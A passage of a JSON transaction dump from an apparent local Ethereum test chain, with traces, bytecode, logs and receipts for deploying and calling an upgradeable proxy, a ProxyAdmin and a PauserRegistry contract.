676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033","gas_used":465106,"gas_limit":636783,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Log":1}]}],"exit":"Return","out":"0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220c41b0469e002b3b7c2a8865eddcfedb7a0854d8e9d8184483e9f6075fcd0521d64736f6c634300081b0033","nonce":8,"gas_used":573230},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x117e5c","logs":[{"address":"0x2279b7a0a67db372996a5fab50d91eaa73d2ebe6","topics":["0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b","0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0"],"data":"0x"},{"address":"0x2279b7a0a67db372996a5fab50d91eaa73d2ebe6","topics":["0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3"}],"logsBloom":"0x00000000000000000000000000000000400000000000000000000000000000000000000000000000000400000000000000400000000000000000000000000000000000000000000000000000000002000000000000000000000000000000400000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000040000000000000800000000000000000000000000000000040000000000000000000000000000000008000000020000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0x661f4ea14e783d43bff7d86523c497b7174a2f5deb9fd5c1aef9a731601f1944","block_number":6},{"info":{"transaction_hash":"0x74ee4298c5f7bced42025541b4db7c198d431024c87cc89a6e62321bc41eba1c","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":"0x851356ae760d987e095750cceb3bc6014560891c","contract_address":null,"traces":[{"parent":null,"children":[1],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x851356ae760d987e095750cceb3bc6014560891c","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0xa98fb35500000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":22850,"gas_limit":39693,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[{"Call":0}]},{"parent":0,"children":[2],"idx":1,"trace":{"depth":1,"success":true,"caller":"0x851356ae760d987e095750cceb3bc6014560891c","address":"0x4c5859f0f772848b2d91f1d83e2fe57935348029","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"DELEGATECALL","value":"0x0","data":"0xa98fb35500000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":15552,"gas_limit":31927,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[{"Call":0}]},{"parent":1,"children":[3],"idx":2,"trace":{"depth":2,"success":true,"caller":"0x851356ae760d987e095750cceb3bc6014560891c","address":"0x5fc8d32690cc91d4c39d9d3abcbd16989f875707","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CALL","value":"0x0","data":"0xa98fb35500000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":9644,"gas_limit":25654,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[],"ordering":[{"Call":0}]},{"parent":2,"children":[],"idx":3,"trace":{"depth":3,"success":true,"caller":"0x5fc8d32690cc91d4c39d9d3abcbd16989f875707","address":"0x9a676e781a523b5d0c0e43731313a708cb607508","maybe_precompile":null,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"DELEGATECALL","value":"0x0","data":"0xa98fb35500000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000","output":"0x","gas_used":2346,"gas_limit":18107,"status":"Stop","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0xa89c1dc243d8908a96dd84944bcc97d6bc6ac00dd78e20621576be6a3c943713","0x000000000000000000000000851356ae760d987e095750cceb3bc6014560891c"],"data":"0x00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0}]}],"exit":"Return","out":"0x","nonce":51,"gas_used":44182},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0xac96","logs":[{"address":"0x5fc8d32690cc91d4c39d9d3abcbd16989f875707","topics":["0xa89c1dc243d8908a96dd84944bcc97d6bc6ac00dd78e20621576be6a3c943713","0x000000000000000000000000851356ae760d987e095750cceb3bc6014560891c"],"data":"0x00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000"}],"logsBloom":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000800000000000000000000000000000240000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000004000000001000000001000000000000000000000000000000000000000000000000000000000000000000000000"},"block_hash":"0xe85dce825b0d4ae4e8294c4817babdc771df3dd160c042b7b6973d1d4b99511a","block_number":14},{"info":{"transaction_hash":"0x2d2c24b169d1df517c115d149cf7caeeec8b4d96fc9ff7fddf12f78c50215194","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0xe7f1725e7734ce288f8367e1bb143e90bb3f0512","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0xe7f1725e7734ce288f8367e1bb143e90bb3f0512","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x608060405234801561001057600080fd5b5060405161075038038061075083398101604081905261002f91610259565b60005b825181101561006d576100658382815181106100505761005061033a565b6020026020010151600161007e60201b60201c565b600101610032565b5061007781610150565b5050610350565b6001600160a01b0382166100ef5760405162461bcd60e51b815260206004820152602d60248201527f50617573657252656769737472792e5f7365745061757365723a207a65726f2060448201526c1859191c995cdcc81a5b9c1d5d609a1b60648201526084015b60405180910390fd5b6001600160a01b03821660008181526020818152604091829020805460ff19168515159081179091558251938452908301527f65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152910160405180910390a15050565b6001600160a01b0381166101be5760405162461bcd60e51b815260206004820152602f60248201527f50617573657252656769737472792e5f736574556e7061757365723a207a657260448201526e1bc81859191c995cdcc81a5b9c1d5d608a1b60648201526084016100e6565b600154604080516001600160a01b03928316815291831660208301527f06b4167a2528887a1e97a366eefe8549bfbf1ea3e6ac81cb2564a934d20e8892910160405180910390a1600180546001600160a01b0319166001600160a01b0392909216919091179055565b634e487b7160e01b600052604160045260246000fd5b80516001600160a01b038116811461025457600080fd5b919050565b6000806040838503121561026c57600080fd5b82516001600160401b0381111561028257600080fd5b8301601f8101851361029357600080fd5b80516001600160401b038111156102ac576102ac610227565b604051600582901b90603f8201601f191681016001600160401b03811182821017156102da576102da610227565b6040529182526020818401810192908101888411156102f857600080fd5b6020850194505b8385101561031e576103108561023d565b8152602094850194016102ff565b509450610331925050506020840161023d565b90509250929050565b634e487b7160e01b600052603260045260246000fd5b6103f18061035f6000396000f3fe608060405234801561001057600080fd5b506004361061004c5760003560e01c806346fbf68e146100515780638568520614610089578063ce5484281461009e578063eab66d7a146100b1575b600080fd5b61007461005f366004610313565b60006020819052908152604090205460ff1681565b60405190151581526020015b60405180910390f35b61009c610097366004610335565b6100dc565b005b61009c6100ac366004610313565b61011d565b6001546100c4906001600160a01b031681565b6040516001600160a01b039091168152602001610080565b6001546001600160a01b0316331461010f5760405162461bcd60e51b815260040161010690610371565b60405180910390fd5b6101198282610153565b5050565b6001546001600160a01b031633146101475760405162461bcd60e51b815260040161010690610371565b61015081610220565b50565b6001600160a01b0382166101bf5760405162461bcd60e51b815260206004820152602d60248201527f50617573657252656769737472792e5f7365745061757365723a207a65726f2060448201526c1859191c995cdcc81a5b9c1d5d609a1b6064820152608401610106565b6001600160a01b03821660008181526020818152604091829020805460ff19168515159081179091558251938452908301527f65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152910160405180910390a15050565b6001600160a01b03811661028e5760405162461bcd60e51b815260206004820152602f60248201527f50617573657252656769737472792e5f736574556e7061757365723a207a657260448201526e1bc81859191c995cdcc81a5b9c1d5d608a1b6064820152608401610106565b600154604080516001600160a01b03928316815291831660208301527f06b4167a2528887a1e97a366eefe8549bfbf1ea3e6ac81cb2564a934d20e8892910160405180910390a1600180546001600160a01b0319166001600160a01b0392909216919091179055565b80356001600160a01b038116811461030e57600080fd5b919050565b60006020828403121561032557600080fd5b61032e826102f7565b9392505050565b6000806040838503121561034857600080fd5b610351836102f7565b91506020830135801515811461036657600080fd5b809150509250929050565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b60608201526080019056fea264697066735822122067fae8bb511d125cec8f8ec05f957b73867dd98e7dd06293a6a42013e1b0f4dd64736f6c634300081b00330000000000000000000000000000000000000000000000000000000000000040000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb922660000000000000000000000000000000000000000000000000000000000000003000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266","output":"0x608060405234801561001057600080fd5b506004361061004c5760003560e01c806346fbf68e146100515780638568520614610089578063ce5484281461009e578063eab66d7a146100b1575b600080fd5b61007461005f366004610313565b60006020819052908152604090205460ff1681565b60405190151581526020015b60405180910390f35b61009c610097366004610335565b6100dc565b005b61009c6100ac366004610313565b61011d565b6001546100c4906001600160a01b031681565b6040516001600160a01b039091168152602001610080565b6001546001600160a01b0316331461010f5760405162461bcd60e51b815260040161010690610371565b60405180910390fd5b6101198282610153565b5050565b6001546001600160a01b031633146101475760405162461bcd60e51b815260040161010690610371565b61015081610220565b50565b6001600160a01b0382166101bf5760405162461bcd60e51b815260206004820152602d60248201527f50617573657252656769737472792e5f7365745061757365723a207a65726f2060448201526c1859191c995cdcc81a5b9c1d5d609a1b6064820152608401610106565b6001600160a01b03821660008181526020818152604091829020805460ff19168515159081179091558251938452908301527f65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152910160405180910390a15050565b6001600160a01b03811661028e5760405162461bcd60e51b815260206004820152602f60248201527f50617573657252656769737472792e5f736574556e7061757365723a207a657260448201526e1bc81859191c995cdcc81a5b9c1d5d608a1b6064820152608401610106565b600154604080516001600160a01b03928316815291831660208301527f06b4167a2528887a1e97a366eefe8549bfbf1ea3e6ac81cb2564a934d20e8892910160405180910390a1600180546001600160a01b0319166001600160a01b0392909216919091179055565b80356001600160a01b038116811461030e57600080fd5b919050565b60006020828403121561032557600080fd5b61032e826102f7565b9392505050565b6000806040838503121561034857600080fd5b610351836102f7565b91506020830135801515811461036657600080fd5b809150509250929050565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b60608201526080019056fea264697066735822122067fae8bb511d125cec8f8ec05f957b73867dd98e7dd06293a6a42013e1b0f4dd64736f6c634300081b0033","gas_used":254168,"gas_limit":355501,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152"],"data":"0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb922660000000000000000000000000000000000000000000000000000000000000001"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152"],"data":"0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb922660000000000000000000000000000000000000000000000000000000000000001"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152"],"data":"0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb922660000000000000000000000000000000000000000000000000000000000000001"},"decoded":{"name":null,"params":null},"position":0},{"raw_log":{"topics":["0x06b4167a2528887a1e97a366eefe8549bfbf1ea3e6ac81cb2564a934d20e8892"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0},{"Log":1},{"Log":2},{"Log":3}]}],"exit":"Return","out":"0x608060405234801561001057600080fd5b506004361061004c5760003560e01c806346fbf68e146100515780638568520614610089578063ce5484281461009e578063eab66d7a146100b1575b600080fd5b61007461005f366004610313565b60006020819052908152604090205460ff1681565b60405190151581526020015b60405180910390f35b61009c610097366004610335565b6100dc565b005b61009c6100ac366004610313565b61011d565b6001546100c4906001600160a01b031681565b6040516001600160a01b039091168152602001610080565b6001546001600160a01b0316331461010f5760405162461bcd60e51b815260040161010690610371565b60405180910390fd5b6101198282610153565b5050565b6001546001600160a01b031633146101475760405162461bcd60e51b815260040161010690610371565b61015081610220565b50565b6001600160a01b0382166101bf5760405162461bcd60e51b815260206004820152602d60248201527f50617573657252656769737472792e5f7365745061757365723a207a65726f2060448201526c1859191c995cdcc81a5b9c1d5d609a1b6064820152608401610106565b6001600160a01b03821660008181526020818152604091829020805460ff19168515159081179091558251938452908301527f65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152910160405180910390a15050565b6001600160a01b03811661028e5760405162461bcd60e51b815260206004820152602f60248201527f50617573657252656769737472792e5f736574556e7061757365723a207a657260448201526e1bc81859191c995cdcc81a5b9c1d5d608a1b6064820152608401610106565b600154604080516001600160a01b03928316815291831660208301527f06b4167a2528887a1e97a366eefe8549bfbf1ea3e6ac81cb2564a934d20e8892910160405180910390a1600180546001600160a01b0319166001600160a01b0392909216919091179055565b80356001600160a01b038116811461030e57600080fd5b919050565b60006020828403121561032557600080fd5b61032e826102f7565b9392505050565b6000806040838503121561034857600080fd5b610351836102f7565b91506020830135801515811461036657600080fd5b809150509250929050565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b60608201526080019056fea264697066735822122067fae8bb511d125cec8f8ec05f957b73867dd98e7dd06293a6a42013e1b0f4dd64736f6c634300081b0033","nonce":1,"gas_used":338342},"receipt":{"type":"0x2","status":"0x1","cumulativeGasUsed":"0x529a6","logs":[{"address":"0xe7f1725e7734ce288f8367e1bb143e90bb3f0512","topics":["0x65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152"],"data":"0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb922660000000000000000000000000000000000000000000000000000000000000001"},{"address":"0xe7f1725e7734ce288f8367e1bb143e90bb3f0512","topics":["0x65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152"],"data":"0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb922660000000000000000000000000000000000000000000000000000000000000001"},{"address":"0xe7f1725e7734ce288f8367e1bb143e90bb3f0512","topics":["0x65d3a1fd4c13f05cba164f80d03ce90fb4b5e21946bfc3ab7dbd434c2d0b9152"],"data":"0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb922660000000000000000000000000000000000000000000000000000000000000001"},{"address":"0xe7f1725e7734ce288f8367e1bb143e90bb3f0512","topics":["0x06b4167a2528887a1e97a366eefe8549bfbf1ea3e6ac81cb2564a934d20e8892"],"data":"0x0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"}],"logsBloom":"0x00000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000080000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000004801000000000000000"},"block_hash":"0x4ea0729e74d5a298116eb8b727ff38f2b4165bf543d19afc4c79f962eee391f3","block_number":2},{"info":{"transaction_hash":"0xa3ad69458743fe5b53a01650375595a9d2b5aa966e76a95084434d006819eaa7","transaction_index":0,"from":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","to":null,"contract_address":"0x9e545e3c0baab3e08cdfd552c960a1050f373042","traces":[{"parent":null,"children":[],"idx":0,"trace":{"depth":0,"success":true,"caller":"0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266","address":"0x9e545e3c0baab3e08cdfd552c960a1050f373042","maybe_precompile":false,"selfdestruct_address":null,"selfdestruct_refund_target":null,"selfdestruct_transferred_value":null,"kind":"CREATE","value":"0x0","data":"0x608060405234801561001057600080fd5b5061001a3361001f565b61006f565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6106948061007e6000396000f3fe60806040526004361061007b5760003560e01c80639623609d1161004e5780639623609d1461011157806399a88ec414610124578063f2fde38b14610144578063f3b7dead1461016457600080fd5b8063204e1c7a14610080578063715018a6146100bc5780637eff275e146100d35780638da5cb5b146100f3575b600080fd5b34801561008c57600080fd5b506100a061009b366004610499565b610184565b6040516001600160a01b03909116815260200160405180910390f35b3480156100c857600080fd5b506100d1610215565b005b3480156100df57600080fd5b506100d16100ee3660046104bd565b610229565b3480156100ff57600080fd5b506000546001600160a01b03166100a0565b6100d161011f36600461050c565b610291565b34801561013057600080fd5b506100d161013f3660046104bd565b610300565b34801561015057600080fd5b506100d161015f366004610499565b610336565b34801561017057600080fd5b506100a061017f366004610499565b6103b4565b6000806000836001600160a01b03166040516101aa90635c60da1b60e01b815260040190565b600060405180830381855afa9150503d80600081146101e5576040519150601f19603f3d011682016040523d82523d6000602084013e6101ea565b606091505b5091509150816101f957600080fd5b8080602001905181019061020d91906105e2565b949350505050565b61021d6103da565b6102276000610434565b565b6102316103da565b6040516308f2839760e41b81526001600160a01b038281166004830152831690638f283970906024015b600060405180830381600087803b15801561027557600080fd5b505af1158015610289573d6000803e3d6000fd5b505050505050565b6102996103da565b60405163278f794360e11b81526001600160a01b03841690634f1ef2869034906102c990869086906004016105ff565b6000604051808303818588803b1580156102e257600080fd5b505af11580156102f6573d6000803e3d6000fd5b5050505050505050565b6103086103da565b604051631b2ce7f360e11b81526001600160a01b038281166004830152831690633659cfe69060240161025b565b61033e6103da565b6001600160a01b0381166103a85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b6103b181610434565b50565b6000806000836001600160a01b03166040516101aa906303e1469160e61b815260040190565b6000546001600160a01b031633146102275760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161039f565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b03811681146103b157600080fd5b6000602082840312156104ab57600080fd5b81356104b681610484565b9392505050565b600080604083850312156104d057600080fd5b82356104db81610484565b915060208301356104eb81610484565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b60008060006060848603121561052157600080fd5b833561052c81610484565b9250602084013561053c81610484565b9150604084013567ffffffffffffffff8082111561055957600080fd5b818601915086601f83011261056d57600080fd5b81358181111561057f5761057f6104f6565b604051601f8201601f19908116603f011681019083821181831017156105a7576105a76104f6565b816040528281528960208487010111156105c057600080fd5b8260208601602083013760006020848301015280955050505050509250925092565b6000602082840312156105f457600080fd5b81516104b681610484565b60018060a01b03831681526000602060406020840152835180604085015260005b8181101561063c57858101830151858201606001528201610620565b506000606082860101526060601f19601f83011685010192505050939250505056fea26469706673582212204991d74046566cb91b8d4cf7495532eedcea4124e157cfebcba924ceb7fba96464736f6c63430008180033","output":"0x60806040526004361061007b5760003560e01c80639623609d1161004e5780639623609d1461011157806399a88ec414610124578063f2fde38b14610144578063f3b7dead1461016457600080fd5b8063204e1c7a14610080578063715018a6146100bc5780637eff275e146100d35780638da5cb5b146100f3575b600080fd5b34801561008c57600080fd5b506100a061009b366004610499565b610184565b6040516001600160a01b03909116815260200160405180910390f35b3480156100c857600080fd5b506100d1610215565b005b3480156100df57600080fd5b506100d16100ee3660046104bd565b610229565b3480156100ff57600080fd5b506000546001600160a01b03166100a0565b6100d161011f36600461050c565b610291565b34801561013057600080fd5b506100d161013f3660046104bd565b610300565b34801561015057600080fd5b506100d161015f366004610499565b610336565b34801561017057600080fd5b506100a061017f366004610499565b6103b4565b6000806000836001600160a01b03166040516101aa90635c60da1b60e01b815260040190565b600060405180830381855afa9150503d80600081146101e5576040519150601f19603f3d011682016040523d82523d6000602084013e6101ea565b606091505b5091509150816101f957600080fd5b8080602001905181019061020d91906105e2565b949350505050565b61021d6103da565b6102276000610434565b565b6102316103da565b6040516308f2839760e41b81526001600160a01b038281166004830152831690638f283970906024015b600060405180830381600087803b15801561027557600080fd5b505af1158015610289573d6000803e3d6000fd5b505050505050565b6102996103da565b60405163278f794360e11b81526001600160a01b03841690634f1ef2869034906102c990869086906004016105ff565b6000604051808303818588803b1580156102e257600080fd5b505af11580156102f6573d6000803e3d6000fd5b5050505050505050565b6103086103da565b604051631b2ce7f360e11b81526001600160a01b038281166004830152831690633659cfe69060240161025b565b61033e6103da565b6001600160a01b0381166103a85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b6103b181610434565b50565b6000806000836001600160a01b03166040516101aa906303e1469160e61b815260040190565b6000546001600160a01b031633146102275760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161039f565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b03811681146103b157600080fd5b6000602082840312156104ab57600080fd5b81356104b681610484565b9392505050565b600080604083850312156104d057600080fd5b82356104db81610484565b915060208301356104eb81610484565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b60008060006060848603121561052157600080fd5b833561052c81610484565b9250602084013561053c81610484565b9150604084013567ffffffffffffffff8082111561055957600080fd5b818601915086601f83011261056d57600080fd5b81358181111561057f5761057f6104f6565b604051601f8201601f19908116603f011681019083821181831017156105a7576105a76104f6565b816040528281528960208487010111156105c057600080fd5b8260208601602083013760006020848301015280955050505050509250925092565b6000602082840312156105f457600080fd5b81516104b681610484565b60018060a01b03831681526000602060406020840152835180604085015260005b8181101561063c57858101830151858201606001528201610620565b506000606082860101526060601f19601f83011685010192505050939250505056fea26469706673582212204991d74046566cb91b8d4cf7495532eedcea4124e157cfebcba924ceb7fba96464736f6c63430008180033","gas_used":360915,"gas_limit":493364,"status":"Return","steps":[],"decoded":{"label":null,"return_data":null,"call_data":null}},"logs":[{"raw_log":{"topics":["0x8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","0x0000000000000000000000000000000000000000000000000000000000000000","0x000000000000000000000000f39fd6e51aad88f6f4ce6ab8827279cfffb92266"],"data":"0x"},"decoded":{"name":null,"params":null},"position":0}],"ordering":[{"Log":0}]}],"exit":"Return","out":"0x60806040526004361061007b5760003560e01c80639623609d1161004e5780639623609d1461011157806399a88ec414610124578063f2fde38b14610144578063f3b7dead1461016457600080fd5b8063204e1c7a14610080578063715018a6146100bc5780637eff275e146100d35780638da5cb5b